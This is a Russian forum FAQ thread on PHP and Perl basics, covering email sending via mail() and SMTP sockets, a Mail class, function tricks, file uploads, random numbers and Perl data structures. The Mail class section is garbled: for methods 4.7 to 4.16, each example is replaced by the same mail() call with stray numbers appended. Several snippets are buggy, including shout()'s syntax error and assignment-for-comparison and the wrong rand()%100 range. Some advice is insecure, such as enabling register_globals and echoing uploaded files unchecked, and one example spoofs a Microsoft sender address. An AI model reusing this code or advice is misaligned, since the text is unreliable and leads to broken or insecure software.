На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
Модераторы: Serafim, fatalist
Закрыто negram 03-12-2010:
  
  • закрыта
> FAQ , прежде чем задать вопрос, смотри сюда
    Если у Вас возникли какие-либо вопросы по данному FAQ'у, замечания можно оставить в следующей теме: Обсуждение FAQ-ов

    Отправка e-mail сообщений в PHP.

    Здесь я попытаюсь кратко изложить основные возможности отправки электронной почты в PHP.


    1. Функция mail().

    Действия функции mail() зависят от операционной системы. В UNIX она попытается использовать процесс программы SendMail для отправки сообщения. В Windows она пытается использовать SMTP или же внутреннюю эмуляцию процесса SendMail.

    Прототип функции выглядит так:
    ExpandedWrap disabled
      bool mail(string to, string subject, string message
      [, string additional_headers [, string additional_parameters]]);

    to содержит адрес получателя, subject - тему письма, message - содержимое (текст). В additional_headers можно поместить дополнительные HTTP заголовки, а additional_parameters - параметры вызова процесса sendmail.

    К примеру, мы хотим отправить письмо некоему john@doe.com, причем указать обратный адрес admin@microsoft.com и почтовую программу "E-mail Terminator v.1000":
    ExpandedWrap disabled
      mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",
      "From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");


    Подведем итоги.
    Плюсы: простота и легкость в использовании.
    Минусы: невозможность отправки писем с других серверов (кроме localhost), отсутствие поддержки SMTP аутентификации (для некоторых серверов), невозможность присоединения файлов, возможные проблемы при использовании почтовых служб, отличных от SendMail, в UNIX.


    2. Сокеты.


    Этот способ всех "ближе к телу". Здесь нам самим придется вникнуть в особенности протокола SMTP.
    Итак, нам придется соединиться с почтовым сервером, создав сокет, "пообщаться" c сервером, отправить заголовки и текст письма, после чего закрыть соединение.
    Для этого напишем свою простую функцию sock_mail():
    ExpandedWrap disabled
      function sock_mail($host, $to, $from, $subj, $message, $type)
      {
              if($type=="") $type="text/plain"; // Определям тип по умолчанию
              // Соединение
              $fp = fsockopen($host, 25); // Подключаемся на 25 порт сервера $host
              // Приветствие
              $log .= fgets($fp); // Читаем приветствие сервера
              fputs($fp, "HELO: $host"); // Привет, сервер :)
              $log .= fgets($fp); // Читаем ответ
              fputs($fp, "MAIL FROM:<$from>"); // Определяем пользователя
              $log .= fgets($fp); // Читаем ответ
              fputs($fp,"RCPT TO:<$to>"); // Определяем получателя
              $log .= fgets($fp); // Читаем ответ
              fputs($fp, "DATA"); // Приветствие окончено, теперь приступим к делу
              $log .= fgets($fp); // Читаем ответ
              // Заголовки
              fputs($fp, "X-Mailer: Sock_Mail v.1.0"); // Название клиента (необязательно)
              fputs($fp, "Reply-To: $from"); // Адрес, на который идут ответы (необязательно)
              fputs($fp, "From: $from"); // Отправитель
              fputs($fp, "Subject: $subj"); // Тема
              fputs($fp, "MIME-Version: 1.0"); // Версия MIME (необязательно)
              fputs($fp, "Content-Type: $type"); // Тип содержимого
              fputs($fp,""); // Пустая строка
              // Содержимое
              fputs($fp, $message);
              // Конец диалога
              fputs($fp, ".");
              $log .= fgets($fp); // Читаем ответ
              fputs($fp, "QUIT"); // Сообщаем о выходе
              $log .= fgets($fp); // Читаем ответ
              // Завершение соединения
              fclose($fp); // Закрываем сокет
              return $log; // Возвращаем ответы сервера.
      }

    В принципе, эта та же функция mail(), только работает с любым сервером через соединение на 25-й порт. Чуть позже мы рассмотрим улучшенный вариант использования сокетов.
    Исходник функции также можно найти в аттаче (файл sock_mail.php).

    Подведем итоги.
    Плюсы: соединение с любым почтовым сервером, неограниченные возможности по улучшению.
    Минусы: все приходится писать самостоятельно.

    Добавлено 16/08/2007 by Рысь:
    Небольшое добавление про перенос строк :
    Отправка почты (сообщение #1665050)

    3. Библиотеки.


    Существует огромное количество библиотек для работы с почтой. Большинство из них является лишь объектно-ориентированной надстройкой над стандартной mail(). Я не буду их сдесь рассматривать, так как у меня есть идея получше (см. ниже).

    Подведем итоги.
    Плюсы: объектно-ориентированный интерфейс, возможность прикрепления файлов.
    Минусы: большинство таких библиотек наследуют недостатки функции mail().


    4. Эксклюзив.


    Специально для вас я модифицировал один из популярных классов Mail и интегрировал в него некоторые новые возможности так, чтобы он принимал во внимание особенности и недостатки всех описанных здесь методов.
    Исходник класса можно найти в аттаче (файл mail.php), а здесь мы рассмотрим работу с этим классом.

    4.0 Создание объекта:
    ExpandedWrap disabled
      $m = new Mail(); // Теперь $m - объект класса Mail


    4.1 Метод Host(). Этот метод определяет имя сервера, который будет использован для отправки сообщения. По умолчанию будет использован localhost. Если вы хотите использовать другой сервер, нужно сделать это так:
    ExpandedWrap disabled
      $m->Host("mail.myhost.com"); // Будем отправлять писмо с mail.myhost.com


    4.2 Метод Username() и Password(). Устанавливают имя пользователя и пароль для SMTP аутентификации. ВНИМАНИЕ: используйте только если сервер требует аутентификации для SMTP!
    ExpandedWrap disabled
      $m->Username("admin"); // Используем пользователя admin
      $m->Password("sWordFiSH"); // Пароль - sWordFiSH


    4.3 Метод Content_type(). Устанавливает тип содержимого письма.
    ExpandedWrap disabled
      $m->Content_type("text/html"); // Письмо в виде HTML


    4.4 Метод autoCheck(). Проверять правильность адресов e-mail или нет? По умолчанию - false.
    ExpandedWrap disabled
      $m->autoCheck(true); // Будем проверять адреса


    4.5 Метод Subject(). Устанавливает тему сообщения. Пример:
    ExpandedWrap disabled
      $m->Subject("How to make million dollars per day."); // Без комментариев


    4.6 Метод From(). Устанавливает адрес отправителя. По умолчанию - nobody@localhost.
    ExpandedWrap disabled
      $m->From("user@host.com"); // Отправляем с адреса user@host.com


    4.7 Метод ReplyTo(). Адрес, на который будут приходить ответы.
    ExpandedWrap disabled
      mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",
      "From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");
    000

    4.8 Метод To(). Добавляет нового адресата в список "To:". После вызова Send писмьмо будет отправлено по всем адресам из списка. Пример:
    ExpandedWrap disabled
      mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",
      "From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");
    111

    4.9 Метод Cc(). То же, что и метод To(), но для поля "CC:".

    4.10 Метод Bcc(). То же, что и To(), но для "BCC" ("Blank Carbon Copy").

    4.11 Метод Body(). Устанавливает текст сообщения, принимая его в качестве первого аргумента. В качестве второго аргумента можно (но необязательно) указать кодировку письма.
    ExpandedWrap disabled
      mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",
      "From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");
    222

    4.12 Метод Organization(). Устанавливает вашу организацию. Пример:
    ExpandedWrap disabled
      mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",
      "From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");
    333

    4.13 Метод Priority(). Устанавливает приоритет письма (1 - самый высокий, 2 - высокий, 3 - нормальный, 4 - низкий, 5 - самый низкий).
    ExpandedWrap disabled
      mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",
      "From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");
    444

    4.14 Метод Attach(). Прикрепляет файл к письму (можно прикреплять несколько файлов). Первый аргумент - путь к файлу, второй (необязательно) - его MIME тип, третий (необязательно) - его dispostion (inline - клиенту можно его отобразить, attachment - обязательно сохранить на диске), по умолчанию inline.
    ExpandedWrap disabled
      mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",
      "From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");
    555

    4.15 Метод Send(). Производит отправку письма:
    ExpandedWrap disabled
      mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",
      "From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");
    666

    4.16 Метод Get(). Выводит письмо таким, каким его получит клиент.
    ExpandedWrap disabled
      mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",
      "From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");
    777


    Подведем итоги.
    Плюсы: универсальность и сочетание всех необходимых возможностей.
    Минусы: надеюсь, что их нет...
    Сообщение отредактировано: Рысь -

    Прикреплённый файлПрикреплённый файлphp_mail.zip (7.88 Кбайт, скачиваний: 1181)
      Функции в PHP
      Несколько интересных моментов из жизни функций в PHP.

      1. Передача аргументов по ссылке, глобальная область видимости, константы.

      Обычно все аргументы в PHP передаются по значению, то есть если мы предаем функции foo() аргумент $bar, то для использования в теле foo() будет создана локальная копия $bar. Все бы хорошо, но что будет если $bar содержит, скажем, дамп базы данных? Тогда производительность резко упадет, и скрипт будет занимать большой объем памяти. В таком случае следует использовать передачу аргумента по ссылке.
      Кроме того, если аргумент был передан по ссылке, то функция легко изменит его значение, не прибегая к средствам return.

      Итак, есть два способа передачи аргументов по ссылке:

      1.1. Ссылка (&) в списке аргументов.

      Этот способ используется при написании кода функции. Если вы хотите, чтобы аргумент $bar передавался вашей функции foo по ссылке, можно сделать это так:
      ExpandedWrap disabled
        function foo(&$bar)
        {
                echo $bar;
                $bar = '';
        }

      Эта функция будет принимать строку по ссылке, выводить ее содержимое, а потом очищать (присваивать переменной $bar пустую строку).

      1.2 Передача ссылки в качестве аргумента.

      Можно написать функцию, которая будет работать как со ссылками, так и с обычными аргументами:
      ExpandedWrap disabled
        function foo($bar)
        {
                $bar .= "; Передана по ссылке";  // Если переменная передана по ссылке, мы можем изменять ее значение.
        }
        $str = "Строка";
        foo($str);
        echo $str; // Выведет: Строка
        foo(&$str);
        echo $str; // Выведет: Строка; Передана по ссылке

      А если вы просто заботитесь о производительности, то можно передавать переменную по ссылке любой функции:
      ExpandedWrap disabled
        $result = some_function(&$argument);


      1.3 Глобальные переменные.

      В коде функции можно объявить о том, что данную переменную нужно взять из глобальной области видимости. Фактически, эффект тот же, что и от передачи по ссылке. Разница в том, что для этого не нужно ничего объявлять в списке аргументов. Пусть функция process_array() производит оработку массива $big_array:
      ExpandedWrap disabled
        function process_array()
        {
                global $big_array;
                for($i = 0; $i < count($big_array); $i++)
                {
                        // Какие-то действия над массивом
                }
        }
         
        // $big_array должен быть объявлен в глобальной области видимости
        $big_array = Array("test1", "test2", "test3");
        process_array();


      1.4 Константы.

      Константы - отдельная статья. Они объявляются в глобальной области видимости и доступны отовсюду. В отличие от переменной, для доступа к константе не нужен знак доллара ($) и изменять значение уже объявленной константы запрещено.
      ExpandedWrap disabled
        <?
        // Чтобы не путать с функциями, констанам обычно дают имена верхнего регистра.
        define("MAX_SIZE", 1024);
        define("MESSAGE", "HELLO");
         
        function foo()
        {
                if(defined('MAX_LENGTH') && defined('MESSAGE')) // Определяем, заданы ли константы
                {
                        for($i = 0; $i < MAX_LENGTH; $i++) echo MESSAGE;
                }
        }
         
        foo(); // Выведет HELLO 1024 раза
        ?>


      Что использовать в данном конкретном случае полностью зависит от вас.

      Лично я использую:

      Константы - в файлах конфигурации.
      config.php:
      ExpandedWrap disabled
        <?
        define('DB_HOST', 'localhost');
        define('DB_USER', 'db_user');
        define('DB_PASS', 'db_pass');
        define('DB_NAME', 'databasename');
        ?>

      db.php:
      ExpandedWrap disabled
        <?
        include('config.php');
        function db_connect()
        {
                $base = mysql_connect(DB_HOST,DB_USER,DB_PASS)
                  or die('Error: Couldn\'t connect to database server. Please revisit later.');
                mysql_select_db(DB_NAME)
                  or die('Error: Couldn\'t select the database. Please visit later.');
                return $base;
        }
        ?>

      Ссылки - для оптимизации, global - для работы с большими переменными из глобальной области видимости.

      2. Перегрузка функций и множественные аргументы.

      Скажу сразу - перегрузка функций в PHP запрещена. "Как же так?!" - Скажете вы. - "А как тогда работают функции mail(), setcookie() и так далее?".

      Такие функции как mail() и setcookie() используют так называемые значения по умолчанию. То есть, для последних аргументов заданы определенные значения по умолчанию (чаще всего - пустая строка), которые будут использованы, если аргумент не передан.
      Давайте напишем функцию, которая выведет содержимое строки $text, $num раз, после чего выведет сообщение $message:
      ExpandedWrap disabled
        function shout($text, $num = 1; $message = '')
        {
                for($i = 0; $i < $num; $i++) echo $text;
                if($message = '') echo $message; // Своеобразная проверка числа аргументов
        }

      НО: пропускать аргументы можно только последовательно. Скажем, вы не сможете пропустить $num и задать $message.
      Вот наша функция в действии:
      ExpandedWrap disabled
        shout('Hello'); // Просто выведет Hello
        shout('Hello', 5); // Выведет Hello 5 раз
        shout('Hello', 5, 'Web'); // 5 раз выведет Hello, а потом еще и Web


      2.1 Множественные аргументы.

      Вам никогда не хотелось полного контроля над числом параметров функции, как это сделано в C++? Нет проблем, в PHP все гораздо проще.
      Давайте вот так сразу, с места в карьер, портируем функцию writeln() из Паскаля в PHP:
      ExpandedWrap disabled
        function writeln()
        {
                $args = func_get_args();
                $num = func_num_args();
                for($i = 0; $i < $num; $i++) echo $args[$i]."\r\n";
        }

      То есть, вся соль в том, что мы оставляем список аргументов пустым, получаем сами аргументы в виде массива с помощью функции func_get_args(), получаем число аргументов с помощью функции func_num_args() и далее работаем с данными массива как хотим. Помните, что передавать в качестве аргументов можно также массивы и объекты.
      Есть еще одна функция из этой серии - func_get_arg($index), которая вернет значение аргумента под номером $index.

      3. ... и еще чуть-чуть

      Напоследок расскажу еще о некоторых моментах:

      3.1 Возврат ссылок функциями.

      Если хотите, чтобы ваша функция возвращала ссылку, это нужно сделать так:
      ExpandedWrap disabled
        function &foo()
        {
                return &$bar;
        }

      Как нам поведал rvt, данный прием может не работать, так что будьте осторожны с возвратом ссылок и используйте следующий код:
      ExpandedWrap disabled
        function &foo()
        {
                return $bar;
        }
        $bar = &foo();


      3.2 Переменные функций.

      Кроме того, в PHP можно даже использовать переменные функций:
      ExpandedWrap disabled
        function foo()
        {
                echo 'Hello';
        }
        function bar($arg)
        {
                echo "Hello, $arg";
        }
         
        $dynamic_func = 'foo';
        $dynamic_func(); // Выведет Hello
        $dynamic_func = 'bar';
        $dynamic_func('Web'); // Выведет Hello, Web


      3.3 Интерпретация строки как PHP-кода.

      Но и это еще не все! Можно даже интерпретировать строку как PHP код:
      ExpandedWrap disabled
        $str = 'echo "Hello, World";';
        eval($str); // Выведет Hello, World

      В некоторых ситуациях это может быть полезно.
      Сообщение отредактировано: Soul :) -
        Далее приведены вопросы и ответы, перенесенные из предыдущей версии FAQ.

        Web-сервер у себя на машине?

        Автор: Tishaishii
        • Появляется важная возможность подробнее ознакомиться с управлением и работой со средствами, котороые могли казаться раньше почти невероятными и загадочными. Становится доступным, например, создание собственного полноценного web-узла в интернет, его администрирование.
        • Вы сможете разрабатывать и тестировать программы для Internet без дополнительных затрат времени и средств.
        Наиболее популярные сервера:
        - Apache (www.apache.org)
        - IIS/PWS (www.microsoft.com)

        Что такое Apache?

        Web-сервер Apache чаще всего устанавливается на платформах UNIX:
        - Linux
        - Solaris
        - FreeBSD
        Так же, существуют версии Apache для Windows, начиная с Win95

        Преимущества:

        - Стабильность работы
        - Модульность сервера - компоненты не входят в стандартный дистрибутив и устанавливаются
        по необходимости
        - Наиболее популярный в сети
        - Гибкость настройки
        - Отличная документированность
        - Универсальность - существуют специальные версии для многих ОС
        - Весь сервер занимает около 12Mb

        Недостатки:

        - Отсутствие интерфейса для управления
        - Сложность настройки

        Сервера IIS/PWS

        Входят в дистрибутив Windows 98/NT/2000/XP-Pro

        Преимущества:
        - Простота настройки
        - Есть интерфейс для управления сервером
        - Неплохая документированность

        Недостатки:
        - Слабая гибкость настройки - обилие ненастраиваемых функций "по-умолчанию"
        - Зависимость от ОС - сервер создан только для Windows
          Как получить файл от клиента, используя PHP?

          Автор: SERI

          Для начала, пусть у нас будет форма в файле upload.html:

          ExpandedWrap disabled
             
            <html>
            <body>
            <form enctype="multipart/form-data" action="upload.php" method=post>
            <input type="hidden" name="MAX_FILE_SIZE" value="1000">
            File Name: <input type="file" name="userfile">
            <input type="submit" value="Send">
            </form>
            </body>
            </html>


          Эта форма будет посылать выбранный файл нашему скрипту.
          Когда PHP получает такой файл, он записывает принятый файл во временный, и устанавливает несколько переменных: (в нашем случае)
          $userfile_size - Размер файла в байтах
          $userfile_name - Имя файла на компе юзера (например, для c:\inet\file.txt это file.txt)
          $userfile - Имя временной копии файла на сервере. Её можно открыть как обычный файл.

          Вот пример скрипта, выводящего принятый файл:

          ExpandedWrap disabled
             
            <?
            echo " <br> Size: $userfile_size<br>
            Old Name: $userfile_name<br>
            Temp Name: $userfile<br><pre>";
            echo implode ("",file($userfile)); // Выводит файл
            ?>


          Коротко о возможных подводных камнях:
          Текст будет аплоадиться всегда нормально, а вот при аплоаде бинарных файлов есть шанс получить файлы "битыми".
          Происходит это потому, что Русский Апач по умолчанию перекодирует все подряд. Например 0x00 он заменит 0x20 (пробел)
          Чтобы с этим бороться, надо в файле настроек httpd.conf прописать что-то типа:

          ExpandedWrap disabled
             
            <Location />
            CharsetRecodeMultipartForms Off
            </Location>
            Как в PHP работать со случайными числами?

            Автор: SERI

            Для этого есть функции rand(), srand(int) и getrandmax().

            Для начала, генератор случайных чисел нужно проинициализировать с помощью srand (сколько-то). Для того чтобы убедится, что числа будут действительно случайными, можно например, в начале скрипта вызвать srand(date("s"))

            После этого функция rand() будет генерировать случайные числа в пределах 0<->getrandmax()
            Для того, чтобы изменить максимальный предел случайных чисел, достаточно взять остаток деления получившегося числа на новый предел.
            Например, rand() % 100 даст случайное число в диапазоне от 0 до 100.
              Почему недоступны параметры, переданные PHP скрипту?

              Автор: SERI

              В классическом PHP 3.0 любая переменная, переданая странице через GET / POST / Cookie, немедленно регистрировалась и была доступна на странице.
              Между тем, в новых версиях PHP и на нестандартных конфигурациях, эта возможность обычно выключена, что приводит к частым проблемам.
              За включение этой возможности отвечает параметр register_globals в файле php.ini, который, в свою очередь, находится в папке, в которой установлен Windows.

              Если у Вас есть доступ к этому файлу, достаточно в нем установить register_globals=1.

              Если же у вас нет прав доступа к этому файлу (если сайт находится на сервере хостера например), вам придется использовать массивы _GET и _POST для получения нужных значений.

              Пример:
              File.html
              ExpandedWrap disabled
                 
                <html>
                <head>
                <title>Example</title>
                </head>
                <body>
                <form action="file.php" method="post">
                Ваше имя:<br>
                <input type=text name="name" maxlength=20 size=30><br>
                <input type=submit value="Продолжить">
                </form>
                </body>
                </html>


              File.php
              ExpandedWrap disabled
                 
                <html>
                <head>
                <title>Example</title>
                </head>
                <body>Hello
                <?
                $name = $_POST["name"];
                echo $name;
                ?>!
                </body>
                </html>
                Где взять документацию по каждой технологии?

                Автор: Mastilior

                Apache - http://www.apache.org/
                Perl - http://www.perldoc.com/
                PHP - http://www.php.net/
                ASP - http://msdn.microsoft.com/
                CSS - http://www.w3.org/
                MySQL - http://www.mysql.com/

                Переводы спецификаций W3C (World Wide Web Consortium) на русский язык: http://pyramidin.narod.ru/
                  Что такое CGI?

                  Автор: SERI

                  CGI (Common Gateway Interface) - технология, позволяющая выполнять скрипты на стороне сервера и возвращать результат, вне зависимости от выбранного языка программирования.

                  CGI скрипты можно писать как на специализированных скрипт-языках, так и на обычном C/C++. За счет того, что CGI скрипты выполняются на сервере, на программиста не накладываются никакие ограничения на использование файловой системы, работу с базами данных и т.д.

                  Это, в свою очередь, существенно расширяет возможности сайта.

                  Дополнение от Mastilior:

                  Многие начинающие веб-кодеры часто задают следующий вопрос: "Как напистаь этот скрипт на CGI (или на языке CGI)?". Хочется добавить, что сам CGI - это не язык! CGI - это технология взаимодействия веб-сервера с пользовательским агентом (браузером).
                    Какой язык стоит выбрать для написания CGI скриптов?

                    Автор: SERI

                    На данный момент наиболее популярны PHP, ASP, Perl, C++. Рассмотрим каждый по отдельности.

                    PHP
                    PHP появился не так давно, тем не мение, он успел заслужить прекрасную репутацию простого и удобного средства для создания server-side скриптов.

                    Программы на PHP не компиллируются, а встраиваются в саму страничку и затем интерпретируются. Этот факт не лучшим образом отражается на скорости выполнения скриптов. Однако в четвертой версии языка скорость выполнения была значительно улучшена.

                    PHP наиболе эффективен при использовании вместе с MySQL.

                    ASP
                    По сути, ASP не является языком. Это универсальная технология, активно проталкиваемая Microsoft.

                    Сами скрипты встраиваются в страницы, также как и в PHP. Многие считают, что создавая ресурсоемкий ASP, Microsoft в очередной раз делает из мухи слона, однако, нельзя не согласиться, что писать с использованием ASP очень просто и удобно.

                    Технология хорошо интегрирована с базами данныз ODBC и включает много полезных объектов.

                    На мой взгляд, для сервера IIS - ASP наиболее подходящая среда разработки.

                    Perl
                    Непосвященному человеку perl скрипты кажутся чем-то средним между египетскими иероглифами и исходниками Матрицы. Это неудивительно, потому что perl предоставляет программисту ряд абсолютно новых и необычных средств.

                    В отличии от двух предыдущих технологий, perl - настоящий язык программирования. Он может использоваться и для написания CGI программ, и для обычного системного программирования.

                    Perl сочетает в себе вещи и от компиллятора и от интерпретатора - программы хранятся в исходном виде, но при запуске компиллируются в байт-код. Это положительно отражается на скорости выполнения скриптов.

                    Единственный серьезный недостаток perlа заключается в том, что большинство скриптов на perlе практически нечитабельны.

                    За счет этого язык сложнее в изучении, нежели, например, PHP.

                    C++ и другие языки...
                    Как я уже говорил, CGI скрипты можно писать почти на любом языке.

                    Основная причина, по которой Вы можете решить использовать компилируемый язык типа C++, - это скорость выполнения. Даже самый быстрый интерпретатор не будет работать также быстро, как уже скомпилированная программа.

                    Писать на знакомом языке также проще, чем на новом. Однако написание CGI программ на обычных языках требует хорошего знания технологии CGI и протокола HTTP.
                      Как изменить размер изображения в PHP?

                      Автор: Mastilior

                      ExpandedWrap disabled
                         
                        <?
                        $img = imagecreatefromJpeg("picture.jpg");
                         
                        $img_width  = imagesx($img);
                        $img_height = imagesy($img);
                         
                        $img_new_width = $img_width * 2;
                        $img_new_height = $img_height * 2;
                         
                        $img_new = imagecreatetruecolor($img_new_width, $img_new_height);
                         
                        imagecopyresized($img_new, $img, 0, 0, 0, 0, $img_new_width, $img_new_height, $img_width, $img_height);
                         
                        header("Content-type: image/jpeg");
                        imagejpeg($img_new);
                        ?>


                      Версия с комментариями прикреплена к данному посту.
                      Прикреплённый файлПрикреплённый файлimage_resize.zip (0.61 Кбайт, скачиваний: 1196)
                        Ооой. Пытаюсь. Налёживаю вдохновение.
                        Это называется "Alpha-варсия".




                        *Самый читаемый раздел Где взять Perl?
                        • Куда это всё годится?
                        • Что с ним делать?
                        *Учимся читать и писать Структуры данных Perl
                        • Контекст структуры
                        • Самый читаемый раздел.
                        • Где взять Perl?

                        Ввожу в курс:
                        Если внимательно походить по ссылкам с этих узлов - вполне можно за пару часов насобирать несколько сотен метров бесполезного барахла, и это уже будет совсем другая статья. По-этому лучше остановиться пока на первом варианте (http://www.perl.org), если уж так хочется связаться с этим "Perl".
                        Последняя и предыдущие версии языка, его историю и д.р. можно прочесть на уже дважды указанном сайте http://www.perl.org или на http://www.cpan.org. На http://www.cpan.org так же хранят и преумножают уже огромную коллекцию модулей, жить и работать легче было чтобы.
                        Скачан-таки Perl? Бегло ридми и вэлкомы прочитаны? А "не читал" или "оно же не по-русски написано", однако стоит стать упорным, храбрым, вспомить именитых мастеров и приготовиться к длительным самостоятельным изучениям всякого рода не по-русски написанной, вероятнее небумажной, точно такого же рода документации. Сбор FAQ, README, TUTORIAL и другой, полезной для ума и важной для добычи опыта способности создавать (творчества), силы духа, умения настаивать и побеждать, технической литературы может происходить в местах известных и оживлённых (http://ya.ru, http://forum.sources.ru, это не для заботящихся о покое своём). Тяжело придётся в нашем деле ему, если сколько-то времени уделить занятию упомянотому не пожелает.

                        Следующий этап "установка". В достаточной полноте описан в существующем в архиве с исходниками Perl файле со странным названием "README" (советую ещё взглянуть на содержимое остальных файлов архива). Установка.

                        Для тех, кто дочитал до текущих слов, напомню, Perl со стандартым его набором модулей входит в стандартную же поставку некоторых операционных систем, например, Unix-подобных. Так что для кое-какого овладения и первых тестов установка новейшей версии может не только не понадобиться, но и, так водится, как всякая малообкатанная софтина, поразить своей беспомощьностью.

                        А Perl находится теперь по адресу, содержащемуся в ответе утилиты наподобие whereis:
                        ExpandedWrap disabled
                          whereis perl

                        Как обычно, для Unix-систем это может быть "/usr/bin/perl", а для других, соответственно, другая подходящая диктория.

                        Чтобы получить информацию о версии можно воспользоваться ключом "v":
                        ExpandedWrap disabled
                          perl -v

                        И знать о действии запросов с другими ключами можно употребив лишь один:
                        ExpandedWrap disabled
                          perl -h


                        Куда это всё годится?

                        Perl - прекрасное средство для расслабления во время и после рабоче-трудового дня. Наиболее короткий путь сознания к миру и целостности мироощущения, достижению душевного равновесия - занятие решением задач на Perl. Процесс получения знания о несуществовании ИСТИНЫ сопутствует проявлению усилий для написания FAQ для Perl. И вот ещё: "Я самый Честный и Духовно-Богатый человек на свете", стоит повторять, когда проблема то решается внезапно беспричинно, то та же функция при одном наборе аргументов, без вмешательства действия нормального или какого бы то ни было закона распределения вероятностей, производит отличные от предыдущих операции над объектами. Страх перед неизвестным у человека в первых его мыслях, и не требует специальной подготовки. Потусторонние деяния в таких случаях очевидны. Пропасть открывается.

                        Известно, сначала Perl-язык создан для составления разных отчётов, а сало нам не торт, и ещё развивался и превратился в хобби для поклонников стучания по клавишам до серого утра. И прекрасно, я скажу, справляется. Переработать несколько тысячь почтовых файлов в удобный буклет или структурировать полуструктурированный текст, проанализировать структурированный (и другие), такой задаче моральных усилий потребовать много не удастся, если использовать возможности Perl.




                        Цитата
                        Задолго до интернета люди открыли астрал.
                        Сообщение отредактировано: Tishaishii -
                          Слущай, какой базар, аах какой базар, слющай.



                          Учимся читать и писать
                          В конце-то концов, перейдём к делу, так же до сути не добраться.
                          Perl - совсем не типизированный язык. Это значит, что символы, строки, цифры, числа, массивы и д.р. привычные структуры могут обрабатываться единообразно без каких-то ограничений. Perl расчитан на управление не отдельными типами данных, а их структурами.

                          Структуры данных в Perl
                          • ($SCALAR) скаляры
                          • (@ARRAY) списки скаляров
                          • (%HASH) хэш-массивы
                          • (*GLOB) указатели из таблицы символов

                          Тип структуры указывает префикс в названии переменной ($, @, % или *).
                          Имена переменных в Perl указываются несколькими способами:
                          ExpandedWrap disabled
                            $var, $'var, *::var, %main'var, @one::two'var

                          Перед резделителями "'" и "::" указывают имя пакета, в котором находится переменная. Разделитель "'" считается устаревшим.
                          • Имена пакетов и переменных могут содержать латинские буквы, цифры, и символ "_".
                          • Если перед разделителем не указано имя пакета, по-умолчанию принимается пакет "main" - пакет основной программы. Имя пакета "main" принято не указывать.
                          • Если не указано имя переменной - осуществляется досутп к таблице символов указанного пакета. Об этом позже.

                          В Perl несколько переменных могут иметь одинаковые имена и находится в одном пакете если у них разные типы структур.
                          Если последовательно инициализировать:
                          ExpandedWrap disabled
                             
                                %::a=(a=>'b', c=>'e');
                                $::a="abcdefg";
                                @::a=('aA', 'bB', 'cC');
                          то образуется три разных переменных в пакете "main" с именем "a", которые находятся в разных областях памяти.

                          Скаляры
                          Скаляр - строка, цифра, число, отдельный символ, указатель на структуру.
                          Например, представление скаляра с содержимым "-1024":
                          ExpandedWrap disabled
                             
                                $uy'_0=1024.0;
                                $scalar::_1=-1_02_4;
                                $::i'go'go::_2=-1e+1.24;
                                $oogo_3="-0x400";
                                $scalar'_4='-1024';
                                $____'_5='Одна тысяча двадцать четыре';


                          Скаляр так же может содержать ссылку на именованный или безымянный объект (возможно тоже ссылку).
                          Чтобы создать ссылку на структуру (объект) нужно поставить перед его указанием символ "\".
                          ExpandedWrap disabled
                             
                                $var=\1; #ссылка на безымянный объект
                                $var=\\\"1"; #ссылка на ссылку на ссылку на безымянный объект
                                $a=1; $var=\$a; #ссылка на именованый объект


                          Списки скаляров
                          В языке реализованы только списки скаляров, чего вполне достаточно для создания любых сложных структур. Список усложняется за счёт скалярных ссылок на другие структуры.

                          Примеры списков:
                          ExpandedWrap disabled
                             
                                @var=(1, 2, 3);
                                @var=(1 .. 3, 5 .. 9);
                                ($a, $b, $c)=(1, 2, 3); ($a, $b, $c)=@var;
                                ($a, $b, $c)=($c, $a, $b);
                                @var=('d'..'t', 'Z', 1 ,'A'..'Z');


                          Если вместо префикса "@" в имени списка указано "$#", то возвращается число=длина_массива - 1, что удобно для указания последнего элемента массива по индексу. Можно получить доступ к элементу (скаляру) списка по индексу так:
                          ExpandedWrap disabled
                             
                                @var=1; # @var=(1);
                                @var=1..3; # @var=(1, 2, 3)
                                $var[1]=10; # Теперь @var=(1, 10, 3);
                                # Если
                                @var=1..3;
                                $var[-1]=10; # или
                                $var[ 2]=10; # или
                                $var[$#var]=10; # теперь @var=(1, 2, 10)

                          Или получить часть массива по индексам:
                          ExpandedWrap disabled
                             
                                @var=1..10;
                                @var1=(8, 7, 1..4);
                                @var[@var1] = @var[5..$#var, 1];
                                    # @var=(1, 8, 9, 10, 2, 6, 7, 7, 6, 10)
                                #или безымянный массив
                                @var=('a'..'z')[4, 2, 10..15, 0, 1, -1, -12];
                                    # @var=('e', 'c', 'k', 'l', 'm', 'n', 'o', 'p', 'a', 'b', 'z', 'o')

                          Так же при содании ссылок:
                          ExpandedWrap disabled
                             
                                $var=\$var[-5]; #ссылка на элемент списка $var[$#var+1-5]
                                    # ! образуется 2 переменных $var-скалярная и остаётся @var-списочная.
                             
                                @var2=\(@var1); # создаётся список @var2 с элементами-ссылками на соответствующие элементы списка @var1
